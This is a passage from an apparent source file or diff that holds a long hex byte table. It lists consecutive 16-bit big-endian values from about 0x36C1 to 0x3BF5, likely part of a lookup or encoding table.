0x36, + 0xC1, 0x36, 0xC2, 0x36, 0xC3, 0x36, 0xC4, 0x36, + 0xC5, 0x36, 0xC6, 0x36, 0xC7, 0x36, 0xC8, 0x36, + 0xC9, 0x36, 0xCA, 0x36, 0xCB, 0x36, 0xCC, 0x36, + 0xCD, 0x36, 0xCE, 0x36, 0xCF, 0x36, 0xD0, 0x36, + 0xD1, 0x36, 0xD2, 0x36, 0xD3, 0x36, 0xD4, 0x36, + 0xD5, 0x36, 0xD6, 0x36, 0xD7, 0x36, 0xD8, 0x36, + 0xD9, 0x36, 0xDA, 0x36, 0xDB, 0x36, 0xDC, 0x36, + 0xDD, 0x36, 0xDE, 0x36, 0xDF, 0x36, 0xE0, 0x36, + 0xE1, 0x36, 0xE2, 0x36, 0xE3, 0x36, 0xE4, 0x36, + 0xE5, 0x36, 0xE6, 0x36, 0xE7, 0x36, 0xE8, 0x36, + 0xE9, 0x36, 0xEA, 0x36, 0xEB, 0x36, 0xEC, 0x36, + 0xED, 0x36, 0xEE, 0x36, 0xEF, 0x36, 0xF0, 0x36, + 0xF1, 0x36, 0xF2, 0x36, 0xF3, 0x36, 0xF4, 0x36, + 0xF5, 0x36, 0xF6, 0x36, 0xF7, 0x36, 0xF8, 0x36, + 0xF9, 0x36, 0xFA, 0x36, 0xFB, 0x36, 0xFC, 0x36, + 0xFD, 0x36, 0xFE, 0x36, 0xFF, 0x37, 0x00, 0x37, + 0x01, 0x37, 0x02, 0x37, 0x03, 0x37, 0x04, 0x37, + 0x05, 0x37, 0x06, 0x37, 0x07, 0x37, 0x08, 0x37, + 0x09, 0x37, 0x0A, 0x37, 0x0B, 0x37, 0x0C, 0x37, + 0x0D, 0x37, 0x0E, 0x37, 0x0F, 0x37, 0x10, 0x37, + 0x11, 0x37, 0x12, 0x37, 0x13, 0x37, 0x14, 0x37, + 0x15, 0x37, 0x16, 0x37, 0x17, 0x37, 0x18, 0x37, + 0x19, 0x37, 0x1A, 0x37, 0x1B, 0x37, 0x1C, 0x37, + 0x1D, 0x37, 0x1E, 0x37, 0x1F, 0x37, 0x20, 0x37, + 0x21, 0x37, 0x22, 0x37, 0x23, 0x37, 0x24, 0x37, + 0x25, 0x37, 0x26, 0x37, 0x27, 0x37, 0x28, 0x37, + 0x29, 0x37, 0x2A, 0x37, 0x2B, 0x37, 0x2C, 0x37, + 0x2D, 0x37, 0x2E, 0x37, 0x2F, 0x37, 0x30, 0x37, + 0x31, 0x37, 0x32, 0x37, 0x33, 0x37, 0x34, 0x37, + 0x35, 0x37, 0x36, 0x37, 0x37, 0x37, 0x38, 0x37, + 0x39, 0x37, 0x3A, 0x37, 0x3B, 0x37, 0x3C, 0x37, + 0x3D, 0x37, 0x3E, 0x37, 0x3F, 0x37, 0x40, 0x37, + 0x41, 0x37, 0x42, 0x37, 0x43, 0x37, 0x44, 0x37, + 0x45, 0x37, 0x46, 0x37, 0x47, 0x37, 0x48, 0x37, + 0x49, 0x37, 0x4A, 0x37, 0x4B, 0x37, 0x4C, 0x37, + 0x4D, 0x37, 0x4E, 0x37, 0x4F, 0x37, 0x50, 0x37, + 0x51, 0x37, 0x52, 0x37, 0x53, 0x37, 0x54, 0x37, + 0x55, 0x37, 0x56, 0x37, 0x57, 0x37, 0x58, 0x37, + 0x59, 0x37, 0x5A, 0x37, 0x5B, 0x37, 0x5C, 0x37, + 0x5D, 0x37, 0x5E, 0x37, 0x5F, 0x37, 0x60, 0x37, + 0x61, 0x37, 0x62, 0x37, 0x63, 0x37, 0x64, 0x37, + 0x65, 0x37, 0x66, 0x37, 0x67, 0x37, 0x68, 0x37, + 0x69, 0x37, 0x6A, 0x37, 0x6B, 0x37, 0x6C, 0x37, + 0x6D, 0x37, 0x6E, 0x37, 0x6F, 0x37, 0x70, 0x37, + 0x71, 0x37, 0x72, 0x37, 0x73, 0x37, 0x74, 0x37, + 0x75, 0x37, 0x76, 0x37, 0x77, 0x37, 0x78, 0x37, + 0x79, 0x37, 0x7A, 0x37, 0x7B, 0x37, 0x7C, 0x37, + 0x7D, 0x37, 0x7E, 0x37, 0x7F, 0x37, 0x80, 0x37, + 0x81, 0x37, 0x82, 0x37, 0x83, 0x37, 0x84, 0x37, + 0x85, 0x37, 0x86, 0x37, 0x87, 0x37, 0x88, 0x37, + 0x89, 0x37, 0x8A, 0x37, 0x8B, 0x37, 0x8C, 0x37, + 0x8D, 0x37, 0x8E, 0x37, 0x8F, 0x37, 0x90, 0x37, + 0x91, 0x37, 0x92, 0x37, 0x93, 0x37, 0x94, 0x37, + 0x95, 0x37, 0x96, 0x37, 0x97, 0x37, 0x98, 0x37, + 0x99, 0x37, 0x9A, 0x37, 0x9B, 0x37, 0x9C, 0x37, + 0x9D, 0x37, 0x9E, 0x37, 0x9F, 0x37, 0xA0, 0x37, + 0xA1, 0x37, 0xA2, 0x37, 0xA3, 0x37, 0xA4, 0x37, + 0xA5, 0x37, 0xA6, 0x37, 0xA7, 0x37, 0xA8, 0x37, + 0xA9, 0x37, 0xAA, 0x37, 0xAB, 0x37, 0xAC, 0x37, + 0xAD, 0x37, 0xAE, 0x37, 0xAF, 0x37, 0xB0, 0x37, + 0xB1, 0x37, 0xB2, 0x37, 0xB3, 0x37, 0xB4, 0x37, + 0xB5, 0x37, 0xB6, 0x37, 0xB7, 0x37, 0xB8, 0x37, + 0xB9, 0x37, 0xBA, 0x37, 0xBB, 0x37, 0xBC, 0x37, + 0xBD, 0x37, 0xBE, 0x37, 0xBF, 0x37, 0xC0, 0x37, + 0xC1, 0x37, 0xC2, 0x37, 0xC3, 0x37, 0xC4, 0x37, + 0xC5, 0x37, 0xC6, 0x37, 0xC7, 0x37, 0xC8, 0x37, + 0xC9, 0x37, 0xCA, 0x37, 0xCB, 0x37, 0xCC, 0x37, + 0xCD, 0x37, 0xCE, 0x37, 0xCF, 0x37, 0xD0, 0x37, + 0xD1, 0x37, 0xD2, 0x37, 0xD3, 0x37, 0xD4, 0x37, + 0xD5, 0x37, 0xD6, 0x37, 0xD7, 0x37, 0xD8, 0x37, + 0xD9, 0x37, 0xDA, 0x37, 0xDB, 0x37, 0xDC, 0x37, + 0xDD, 0x37, 0xDE, 0x37, 0xDF, 0x37, 0xE0, 0x37, + 0xE1, 0x37, 0xE2, 0x37, 0xE3, 0x37, 0xE4, 0x37, + 0xE5, 0x37, 0xE6, 0x37, 0xE7, 0x37, 0xE8, 0x37, + 0xE9, 0x37, 0xEA, 0x37, 0xEB, 0x37, 0xEC, 0x37, + 0xED, 0x37, 0xEE, 0x37, 0xEF, 0x37, 0xF0, 0x37, + 0xF1, 0x37, 0xF2, 0x37, 0xF3, 0x37, 0xF4, 0x37, + 0xF5, 0x37, 0xF6, 0x37, 0xF7, 0x37, 0xF8, 0x37, + 0xF9, 0x37, 0xFA, 0x37, 0xFB, 0x37, 0xFC, 0x37, + 0xFD, 0x37, 0xFE, 0x37, 0xFF, 0x38, 0x00, 0x38, + 0x01, 0x38, 0x02, 0x38, 0x03, 0x38, 0x04, 0x38, + 0x05, 0x38, 0x06, 0x38, 0x07, 0x38, 0x08, 0x38, + 0x09, 0x38, 0x0A, 0x38, 0x0B, 0x38, 0x0C, 0x38, + 0x0D, 0x38, 0x0E, 0x38, 0x0F, 0x38, 0x10, 0x38, + 0x11, 0x38, 0x12, 0x38, 0x13, 0x38, 0x14, 0x38, + 0x15, 0x38, 0x16, 0x38, 0x17, 0x38, 0x18, 0x38, + 0x19, 0x38, 0x1A, 0x38, 0x1B, 0x38, 0x1C, 0x38, + 0x1D, 0x38, 0x1E, 0x38, 0x1F, 0x38, 0x20, 0x38, + 0x21, 0x38, 0x22, 0x38, 0x23, 0x38, 0x24, 0x38, + 0x25, 0x38, 0x26, 0x38, 0x27, 0x38, 0x28, 0x38, + 0x29, 0x38, 0x2A, 0x38, 0x2B, 0x38, 0x2C, 0x38, + 0x2D, 0x38, 0x2E, 0x38, 0x2F, 0x38, 0x30, 0x38, + 0x31, 0x38, 0x32, 0x38, 0x33, 0x38, 0x34, 0x38, + 0x35, 0x38, 0x36, 0x38, 0x37, 0x38, 0x38, 0x38, + 0x39, 0x38, 0x3A, 0x38, 0x3B, 0x38, 0x3C, 0x38, + 0x3D, 0x38, 0x3E, 0x38, 0x3F, 0x38, 0x40, 0x38, + 0x41, 0x38, 0x42, 0x38, 0x43, 0x38, 0x44, 0x38, + 0x45, 0x38, 0x46, 0x38, 0x47, 0x38, 0x48, 0x38, + 0x49, 0x38, 0x4A, 0x38, 0x4B, 0x38, 0x4C, 0x38, + 0x4D, 0x38, 0x4E, 0x38, 0x4F, 0x38, 0x50, 0x38, + 0x51, 0x38, 0x52, 0x38, 0x53, 0x38, 0x54, 0x38, + 0x55, 0x38, 0x56, 0x38, 0x57, 0x38, 0x58, 0x38, + 0x59, 0x38, 0x5A, 0x38, 0x5B, 0x38, 0x5C, 0x38, + 0x5D, 0x38, 0x5E, 0x38, 0x5F, 0x38, 0x60, 0x38, + 0x61, 0x38, 0x62, 0x38, 0x63, 0x38, 0x64, 0x38, + 0x65, 0x38, 0x66, 0x38, 0x67, 0x38, 0x68, 0x38, + 0x69, 0x38, 0x6A, 0x38, 0x6B, 0x38, 0x6C, 0x38, + 0x6D, 0x38, 0x6E, 0x38, 0x6F, 0x38, 0x70, 0x38, + 0x71, 0x38, 0x72, 0x38, 0x73, 0x38, 0x74, 0x38, + 0x75, 0x38, 0x76, 0x38, 0x77, 0x38, 0x78, 0x38, + 0x79, 0x38, 0x7A, 0x38, 0x7B, 0x38, 0x7C, 0x38, + 0x7D, 0x38, 0x7E, 0x38, 0x7F, 0x38, 0x80, 0x38, + 0x81, 0x38, 0x82, 0x38, 0x83, 0x38, 0x84, 0x38, + 0x85, 0x38, 0x86, 0x38, 0x87, 0x38, 0x88, 0x38, + 0x89, 0x38, 0x8A, 0x38, 0x8B, 0x38, 0x8C, 0x38, + 0x8D, 0x38, 0x8E, 0x38, 0x8F, 0x38, 0x90, 0x38, + 0x91, 0x38, 0x92, 0x38, 0x93, 0x38, 0x94, 0x38, + 0x95, 0x38, 0x96, 0x38, 0x97, 0x38, 0x98, 0x38, + 0x99, 0x38, 0x9A, 0x38, 0x9B, 0x38, 0x9C, 0x38, + 0x9D, 0x38, 0x9E, 0x38, 0x9F, 0x38, 0xA0, 0x38, + 0xA1, 0x38, 0xA2, 0x38, 0xA3, 0x38, 0xA4, 0x38, + 0xA5, 0x38, 0xA6, 0x38, 0xA7, 0x38, 0xA8, 0x38, + 0xA9, 0x38, 0xAA, 0x38, 0xAB, 0x38, 0xAC, 0x38, + 0xAD, 0x38, 0xAE, 0x38, 0xAF, 0x38, 0xB0, 0x38, + 0xB1, 0x38, 0xB2, 0x38, 0xB3, 0x38, 0xB4, 0x38, + 0xB5, 0x38, 0xB6, 0x38, 0xB7, 0x38, 0xB8, 0x38, + 0xB9, 0x38, 0xBA, 0x38, 0xBB, 0x38, 0xBC, 0x38, + 0xBD, 0x38, 0xBE, 0x38, 0xBF, 0x38, 0xC0, 0x38, + 0xC1, 0x38, 0xC2, 0x38, 0xC3, 0x38, 0xC4, 0x38, + 0xC5, 0x38, 0xC6, 0x38, 0xC7, 0x38, 0xC8, 0x38, + 0xC9, 0x38, 0xCA, 0x38, 0xCB, 0x38, 0xCC, 0x38, + 0xCD, 0x38, 0xCE, 0x38, 0xCF, 0x38, 0xD0, 0x38, + 0xD1, 0x38, 0xD2, 0x38, 0xD3, 0x38, 0xD4, 0x38, + 0xD5, 0x38, 0xD6, 0x38, 0xD7, 0x38, 0xD8, 0x38, + 0xD9, 0x38, 0xDA, 0x38, 0xDB, 0x38, 0xDC, 0x38, + 0xDD, 0x38, 0xDE, 0x38, 0xDF, 0x38, 0xE0, 0x38, + 0xE1, 0x38, 0xE2, 0x38, 0xE3, 0x38, 0xE4, 0x38, + 0xE5, 0x38, 0xE6, 0x38, 0xE7, 0x38, 0xE8, 0x38, + 0xE9, 0x38, 0xEA, 0x38, 0xEB, 0x38, 0xEC, 0x38, + 0xED, 0x38, 0xEE, 0x38, 0xEF, 0x38, 0xF0, 0x38, + 0xF1, 0x38, 0xF2, 0x38, 0xF3, 0x38, 0xF4, 0x38, + 0xF5, 0x38, 0xF6, 0x38, 0xF7, 0x38, 0xF8, 0x38, + 0xF9, 0x38, 0xFA, 0x38, 0xFB, 0x38, 0xFC, 0x38, + 0xFD, 0x38, 0xFE, 0x38, 0xFF, 0x39, 0x00, 0x39, + 0x01, 0x39, 0x02, 0x39, 0x03, 0x39, 0x04, 0x39, + 0x05, 0x39, 0x06, 0x39, 0x07, 0x39, 0x08, 0x39, + 0x09, 0x39, 0x0A, 0x39, 0x0B, 0x39, 0x0C, 0x39, + 0x0D, 0x39, 0x0E, 0x39, 0x0F, 0x39, 0x10, 0x39, + 0x11, 0x39, 0x12, 0x39, 0x13, 0x39, 0x14, 0x39, + 0x15, 0x39, 0x16, 0x39, 0x17, 0x39, 0x18, 0x39, + 0x19, 0x39, 0x1A, 0x39, 0x1B, 0x39, 0x1C, 0x39, + 0x1D, 0x39, 0x1E, 0x39, 0x1F, 0x39, 0x20, 0x39, + 0x21, 0x39, 0x22, 0x39, 0x23, 0x39, 0x24, 0x39, + 0x25, 0x39, 0x26, 0x39, 0x27, 0x39, 0x28, 0x39, + 0x29, 0x39, 0x2A, 0x39, 0x2B, 0x39, 0x2C, 0x39, + 0x2D, 0x39, 0x2E, 0x39, 0x2F, 0x39, 0x30, 0x39, + 0x31, 0x39, 0x32, 0x39, 0x33, 0x39, 0x34, 0x39, + 0x35, 0x39, 0x36, 0x39, 0x37, 0x39, 0x38, 0x39, + 0x39, 0x39, 0x3A, 0x39, 0x3B, 0x39, 0x3C, 0x39, + 0x3D, 0x39, 0x3E, 0x39, 0x3F, 0x39, 0x40, 0x39, + 0x41, 0x39, 0x42, 0x39, 0x43, 0x39, 0x44, 0x39, + 0x45, 0x39, 0x46, 0x39, 0x47, 0x39, 0x48, 0x39, + 0x49, 0x39, 0x4A, 0x39, 0x4B, 0x39, 0x4C, 0x39, + 0x4D, 0x39, 0x4E, 0x39, 0x4F, 0x39, 0x50, 0x39, + 0x51, 0x39, 0x52, 0x39, 0x53, 0x39, 0x54, 0x39, + 0x55, 0x39, 0x56, 0x39, 0x57, 0x39, 0x58, 0x39, + 0x59, 0x39, 0x5A, 0x39, 0x5B, 0x39, 0x5C, 0x39, + 0x5D, 0x39, 0x5E, 0x39, 0x5F, 0x39, 0x60, 0x39, + 0x61, 0x39, 0x62, 0x39, 0x63, 0x39, 0x64, 0x39, + 0x65, 0x39, 0x66, 0x39, 0x67, 0x39, 0x68, 0x39, + 0x69, 0x39, 0x6A, 0x39, 0x6B, 0x39, 0x6C, 0x39, + 0x6D, 0x39, 0x6E, 0x39, 0x6F, 0x39, 0x70, 0x39, + 0x71, 0x39, 0x72, 0x39, 0x73, 0x39, 0x74, 0x39, + 0x75, 0x39, 0x76, 0x39, 0x77, 0x39, 0x78, 0x39, + 0x79, 0x39, 0x7A, 0x39, 0x7B, 0x39, 0x7C, 0x39, + 0x7D, 0x39, 0x7E, 0x39, 0x7F, 0x39, 0x80, 0x39, + 0x81, 0x39, 0x82, 0x39, 0x83, 0x39, 0x84, 0x39, + 0x85, 0x39, 0x86, 0x39, 0x87, 0x39, 0x88, 0x39, + 0x89, 0x39, 0x8A, 0x39, 0x8B, 0x39, 0x8C, 0x39, + 0x8D, 0x39, 0x8E, 0x39, 0x8F, 0x39, 0x90, 0x39, + 0x91, 0x39, 0x92, 0x39, 0x93, 0x39, 0x94, 0x39, + 0x95, 0x39, 0x96, 0x39, 0x97, 0x39, 0x98, 0x39, + 0x99, 0x39, 0x9A, 0x39, 0x9B, 0x39, 0x9C, 0x39, + 0x9D, 0x39, 0x9E, 0x39, 0x9F, 0x39, 0xA0, 0x39, + 0xA1, 0x39, 0xA2, 0x39, 0xA3, 0x39, 0xA4, 0x39, + 0xA5, 0x39, 0xA6, 0x39, 0xA7, 0x39, 0xA8, 0x39, + 0xA9, 0x39, 0xAA, 0x39, 0xAB, 0x39, 0xAC, 0x39, + 0xAD, 0x39, 0xAE, 0x39, 0xAF, 0x39, 0xB0, 0x39, + 0xB1, 0x39, 0xB2, 0x39, 0xB3, 0x39, 0xB4, 0x39, + 0xB5, 0x39, 0xB6, 0x39, 0xB7, 0x39, 0xB8, 0x39, + 0xB9, 0x39, 0xBA, 0x39, 0xBB, 0x39, 0xBC, 0x39, + 0xBD, 0x39, 0xBE, 0x39, 0xBF, 0x39, 0xC0, 0x39, + 0xC1, 0x39, 0xC2, 0x39, 0xC3, 0x39, 0xC4, 0x39, + 0xC5, 0x39, 0xC6, 0x39, 0xC7, 0x39, 0xC8, 0x39, + 0xC9, 0x39, 0xCA, 0x39, 0xCB, 0x39, 0xCC, 0x39, + 0xCD, 0x39, 0xCE, 0x39, 0xCF, 0x39, 0xD0, 0x39, + 0xD1, 0x39, 0xD2, 0x39, 0xD3, 0x39, 0xD4, 0x39, + 0xD5, 0x39, 0xD6, 0x39, 0xD7, 0x39, 0xD8, 0x39, + 0xD9, 0x39, 0xDA, 0x39, 0xDB, 0x39, 0xDC, 0x39, + 0xDD, 0x39, 0xDE, 0x39, 0xDF, 0x39, 0xE0, 0x39, + 0xE1, 0x39, 0xE2, 0x39, 0xE3, 0x39, 0xE4, 0x39, + 0xE5, 0x39, 0xE6, 0x39, 0xE7, 0x39, 0xE8, 0x39, + 0xE9, 0x39, 0xEA, 0x39, 0xEB, 0x39, 0xEC, 0x39, + 0xED, 0x39, 0xEE, 0x39, 0xEF, 0x39, 0xF0, 0x39, + 0xF1, 0x39, 0xF2, 0x39, 0xF3, 0x39, 0xF4, 0x39, + 0xF5, 0x39, 0xF6, 0x39, 0xF7, 0x39, 0xF8, 0x39, + 0xF9, 0x39, 0xFA, 0x39, 0xFB, 0x39, 0xFC, 0x39, + 0xFD, 0x39, 0xFE, 0x39, 0xFF, 0x3A, 0x00, 0x3A, + 0x01, 0x3A, 0x02, 0x3A, 0x03, 0x3A, 0x04, 0x3A, + 0x05, 0x3A, 0x06, 0x3A, 0x07, 0x3A, 0x08, 0x3A, + 0x09, 0x3A, 0x0A, 0x3A, 0x0B, 0x3A, 0x0C, 0x3A, + 0x0D, 0x3A, 0x0E, 0x3A, 0x0F, 0x3A, 0x10, 0x3A, + 0x11, 0x3A, 0x12, 0x3A, 0x13, 0x3A, 0x14, 0x3A, + 0x15, 0x3A, 0x16, 0x3A, 0x17, 0x3A, 0x18, 0x3A, + 0x19, 0x3A, 0x1A, 0x3A, 0x1B, 0x3A, 0x1C, 0x3A, + 0x1D, 0x3A, 0x1E, 0x3A, 0x1F, 0x3A, 0x20, 0x3A, + 0x21, 0x3A, 0x22, 0x3A, 0x23, 0x3A, 0x24, 0x3A, + 0x25, 0x3A, 0x26, 0x3A, 0x27, 0x3A, 0x28, 0x3A, + 0x29, 0x3A, 0x2A, 0x3A, 0x2B, 0x3A, 0x2C, 0x3A, + 0x2D, 0x3A, 0x2E, 0x3A, 0x2F, 0x3A, 0x30, 0x3A, + 0x31, 0x3A, 0x32, 0x3A, 0x33, 0x3A, 0x34, 0x3A, + 0x35, 0x3A, 0x36, 0x3A, 0x37, 0x3A, 0x38, 0x3A, + 0x39, 0x3A, 0x3A, 0x3A, 0x3B, 0x3A, 0x3C, 0x3A, + 0x3D, 0x3A, 0x3E, 0x3A, 0x3F, 0x3A, 0x40, 0x3A, + 0x41, 0x3A, 0x42, 0x3A, 0x43, 0x3A, 0x44, 0x3A, + 0x45, 0x3A, 0x46, 0x3A, 0x47, 0x3A, 0x48, 0x3A, + 0x49, 0x3A, 0x4A, 0x3A, 0x4B, 0x3A, 0x4C, 0x3A, + 0x4D, 0x3A, 0x4E, 0x3A, 0x4F, 0x3A, 0x50, 0x3A, + 0x51, 0x3A, 0x52, 0x3A, 0x53, 0x3A, 0x54, 0x3A, + 0x55, 0x3A, 0x56, 0x3A, 0x57, 0x3A, 0x58, 0x3A, + 0x59, 0x3A, 0x5A, 0x3A, 0x5B, 0x3A, 0x5C, 0x3A, + 0x5D, 0x3A, 0x5E, 0x3A, 0x5F, 0x3A, 0x60, 0x3A, + 0x61, 0x3A, 0x62, 0x3A, 0x63, 0x3A, 0x64, 0x3A, + 0x65, 0x3A, 0x66, 0x3A, 0x67, 0x3A, 0x68, 0x3A, + 0x69, 0x3A, 0x6A, 0x3A, 0x6B, 0x3A, 0x6C, 0x3A, + 0x6D, 0x3A, 0x6E, 0x3A, 0x6F, 0x3A, 0x70, 0x3A, + 0x71, 0x3A, 0x72, 0x3A, 0x73, 0x3A, 0x74, 0x3A, + 0x75, 0x3A, 0x76, 0x3A, 0x77, 0x3A, 0x78, 0x3A, + 0x79, 0x3A, 0x7A, 0x3A, 0x7B, 0x3A, 0x7C, 0x3A, + 0x7D, 0x3A, 0x7E, 0x3A, 0x7F, 0x3A, 0x80, 0x3A, + 0x81, 0x3A, 0x82, 0x3A, 0x83, 0x3A, 0x84, 0x3A, + 0x85, 0x3A, 0x86, 0x3A, 0x87, 0x3A, 0x88, 0x3A, + 0x89, 0x3A, 0x8A, 0x3A, 0x8B, 0x3A, 0x8C, 0x3A, + 0x8D, 0x3A, 0x8E, 0x3A, 0x8F, 0x3A, 0x90, 0x3A, + 0x91, 0x3A, 0x92, 0x3A, 0x93, 0x3A, 0x94, 0x3A, + 0x95, 0x3A, 0x96, 0x3A, 0x97, 0x3A, 0x98, 0x3A, + 0x99, 0x3A, 0x9A, 0x3A, 0x9B, 0x3A, 0x9C, 0x3A, + 0x9D, 0x3A, 0x9E, 0x3A, 0x9F, 0x3A, 0xA0, 0x3A, + 0xA1, 0x3A, 0xA2, 0x3A, 0xA3, 0x3A, 0xA4, 0x3A, + 0xA5, 0x3A, 0xA6, 0x3A, 0xA7, 0x3A, 0xA8, 0x3A, + 0xA9, 0x3A, 0xAA, 0x3A, 0xAB, 0x3A, 0xAC, 0x3A, + 0xAD, 0x3A, 0xAE, 0x3A, 0xAF, 0x3A, 0xB0, 0x3A, + 0xB1, 0x3A, 0xB2, 0x3A, 0xB3, 0x3A, 0xB4, 0x3A, + 0xB5, 0x3A, 0xB6, 0x3A, 0xB7, 0x3A, 0xB8, 0x3A, + 0xB9, 0x3A, 0xBA, 0x3A, 0xBB, 0x3A, 0xBC, 0x3A, + 0xBD, 0x3A, 0xBE, 0x3A, 0xBF, 0x3A, 0xC0, 0x3A, + 0xC1, 0x3A, 0xC2, 0x3A, 0xC3, 0x3A, 0xC4, 0x3A, + 0xC5, 0x3A, 0xC6, 0x3A, 0xC7, 0x3A, 0xC8, 0x3A, + 0xC9, 0x3A, 0xCA, 0x3A, 0xCB, 0x3A, 0xCC, 0x3A, + 0xCD, 0x3A, 0xCE, 0x3A, 0xCF, 0x3A, 0xD0, 0x3A, + 0xD1, 0x3A, 0xD2, 0x3A, 0xD3, 0x3A, 0xD4, 0x3A, + 0xD5, 0x3A, 0xD6, 0x3A, 0xD7, 0x3A, 0xD8, 0x3A, + 0xD9, 0x3A, 0xDA, 0x3A, 0xDB, 0x3A, 0xDC, 0x3A, + 0xDD, 0x3A, 0xDE, 0x3A, 0xDF, 0x3A, 0xE0, 0x3A, + 0xE1, 0x3A, 0xE2, 0x3A, 0xE3, 0x3A, 0xE4, 0x3A, + 0xE5, 0x3A, 0xE6, 0x3A, 0xE7, 0x3A, 0xE8, 0x3A, + 0xE9, 0x3A, 0xEA, 0x3A, 0xEB, 0x3A, 0xEC, 0x3A, + 0xED, 0x3A, 0xEE, 0x3A, 0xEF, 0x3A, 0xF0, 0x3A, + 0xF1, 0x3A, 0xF2, 0x3A, 0xF3, 0x3A, 0xF4, 0x3A, + 0xF5, 0x3A, 0xF6, 0x3A, 0xF7, 0x3A, 0xF8, 0x3A, + 0xF9, 0x3A, 0xFA, 0x3A, 0xFB, 0x3A, 0xFC, 0x3A, + 0xFD, 0x3A, 0xFE, 0x3A, 0xFF, 0x3B, 0x00, 0x3B, + 0x01, 0x3B, 0x02, 0x3B, 0x03, 0x3B, 0x04, 0x3B, + 0x05, 0x3B, 0x06, 0x3B, 0x07, 0x3B, 0x08, 0x3B, + 0x09, 0x3B, 0x0A, 0x3B, 0x0B, 0x3B, 0x0C, 0x3B, + 0x0D, 0x3B, 0x0E, 0x3B, 0x0F, 0x3B, 0x10, 0x3B, + 0x11, 0x3B, 0x12, 0x3B, 0x13, 0x3B, 0x14, 0x3B, + 0x15, 0x3B, 0x16, 0x3B, 0x17, 0x3B, 0x18, 0x3B, + 0x19, 0x3B, 0x1A, 0x3B, 0x1B, 0x3B, 0x1C, 0x3B, + 0x1D, 0x3B, 0x1E, 0x3B, 0x1F, 0x3B, 0x20, 0x3B, + 0x21, 0x3B, 0x22, 0x3B, 0x23, 0x3B, 0x24, 0x3B, + 0x25, 0x3B, 0x26, 0x3B, 0x27, 0x3B, 0x28, 0x3B, + 0x29, 0x3B, 0x2A, 0x3B, 0x2B, 0x3B, 0x2C, 0x3B, + 0x2D, 0x3B, 0x2E, 0x3B, 0x2F, 0x3B, 0x30, 0x3B, + 0x31, 0x3B, 0x32, 0x3B, 0x33, 0x3B, 0x34, 0x3B, + 0x35, 0x3B, 0x36, 0x3B, 0x37, 0x3B, 0x38, 0x3B, + 0x39, 0x3B, 0x3A, 0x3B, 0x3B, 0x3B, 0x3C, 0x3B, + 0x3D, 0x3B, 0x3E, 0x3B, 0x3F, 0x3B, 0x40, 0x3B, + 0x41, 0x3B, 0x42, 0x3B, 0x43, 0x3B, 0x44, 0x3B, + 0x45, 0x3B, 0x46, 0x3B, 0x47, 0x3B, 0x48, 0x3B, + 0x49, 0x3B, 0x4A, 0x3B, 0x4B, 0x3B, 0x4C, 0x3B, + 0x4D, 0x3B, 0x4E, 0x3B, 0x4F, 0x3B, 0x50, 0x3B, + 0x51, 0x3B, 0x52, 0x3B, 0x53, 0x3B, 0x54, 0x3B, + 0x55, 0x3B, 0x56, 0x3B, 0x57, 0x3B, 0x58, 0x3B, + 0x59, 0x3B, 0x5A, 0x3B, 0x5B, 0x3B, 0x5C, 0x3B, + 0x5D, 0x3B, 0x5E, 0x3B, 0x5F, 0x3B, 0x60, 0x3B, + 0x61, 0x3B, 0x62, 0x3B, 0x63, 0x3B, 0x64, 0x3B, + 0x65, 0x3B, 0x66, 0x3B, 0x67, 0x3B, 0x68, 0x3B, + 0x69, 0x3B, 0x6A, 0x3B, 0x6B, 0x3B, 0x6C, 0x3B, + 0x6D, 0x3B, 0x6E, 0x3B, 0x6F, 0x3B, 0x70, 0x3B, + 0x71, 0x3B, 0x72, 0x3B, 0x73, 0x3B, 0x74, 0x3B, + 0x75, 0x3B, 0x76, 0x3B, 0x77, 0x3B, 0x78, 0x3B, + 0x79, 0x3B, 0x7A, 0x3B, 0x7B, 0x3B, 0x7C, 0x3B, + 0x7D, 0x3B, 0x7E, 0x3B, 0x7F, 0x3B, 0x80, 0x3B, + 0x81, 0x3B, 0x82, 0x3B, 0x83, 0x3B, 0x84, 0x3B, + 0x85, 0x3B, 0x86, 0x3B, 0x87, 0x3B, 0x88, 0x3B, + 0x89, 0x3B, 0x8A, 0x3B, 0x8B, 0x3B, 0x8C, 0x3B, + 0x8D, 0x3B, 0x8E, 0x3B, 0x8F, 0x3B, 0x90, 0x3B, + 0x91, 0x3B, 0x92, 0x3B, 0x93, 0x3B, 0x94, 0x3B, + 0x95, 0x3B, 0x96, 0x3B, 0x97, 0x3B, 0x98, 0x3B, + 0x99, 0x3B, 0x9A, 0x3B, 0x9B, 0x3B, 0x9C, 0x3B, + 0x9D, 0x3B, 0x9E, 0x3B, 0x9F, 0x3B, 0xA0, 0x3B, + 0xA1, 0x3B, 0xA2, 0x3B, 0xA3, 0x3B, 0xA4, 0x3B, + 0xA5, 0x3B, 0xA6, 0x3B, 0xA7, 0x3B, 0xA8, 0x3B, + 0xA9, 0x3B, 0xAA, 0x3B, 0xAB, 0x3B, 0xAC, 0x3B, + 0xAD, 0x3B, 0xAE, 0x3B, 0xAF, 0x3B, 0xB0, 0x3B, + 0xB1, 0x3B, 0xB2, 0x3B, 0xB3, 0x3B, 0xB4, 0x3B, + 0xB5, 0x3B, 0xB6, 0x3B, 0xB7, 0x3B, 0xB8, 0x3B, + 0xB9, 0x3B, 0xBA, 0x3B, 0xBB, 0x3B, 0xBC, 0x3B, + 0xBD, 0x3B, 0xBE, 0x3B, 0xBF, 0x3B, 0xC0, 0x3B, + 0xC1, 0x3B, 0xC2, 0x3B, 0xC3, 0x3B, 0xC4, 0x3B, + 0xC5, 0x3B, 0xC6, 0x3B, 0xC7, 0x3B, 0xC8, 0x3B, + 0xC9, 0x3B, 0xCA, 0x3B, 0xCB, 0x3B, 0xCC, 0x3B, + 0xCD, 0x3B, 0xCE, 0x3B, 0xCF, 0x3B, 0xD0, 0x3B, + 0xD1, 0x3B, 0xD2, 0x3B, 0xD3, 0x3B, 0xD4, 0x3B, + 0xD5, 0x3B, 0xD6, 0x3B, 0xD7, 0x3B, 0xD8, 0x3B, + 0xD9, 0x3B, 0xDA, 0x3B, 0xDB, 0x3B, 0xDC, 0x3B, + 0xDD, 0x3B, 0xDE, 0x3B, 0xDF, 0x3B, 0xE0, 0x3B, + 0xE1, 0x3B, 0xE2, 0x3B, 0xE3, 0x3B, 0xE4, 0x3B, + 0xE5, 0x3B, 0xE6, 0x3B, 0xE7, 0x3B, 0xE8, 0x3B, + 0xE9, 0x3B, 0xEA, 0x3B, 0xEB, 0x3B, 0xEC, 0x3B, + 0xED, 0x3B, 0xEE, 0x3B, 0xEF, 0x3B, 0xF0, 0x3B, + 0xF1, 0x3B, 0xF2, 0x3B, 0xF3, 0x3B, 0xF4, 0x3B, + 0xF5, 0x3B, 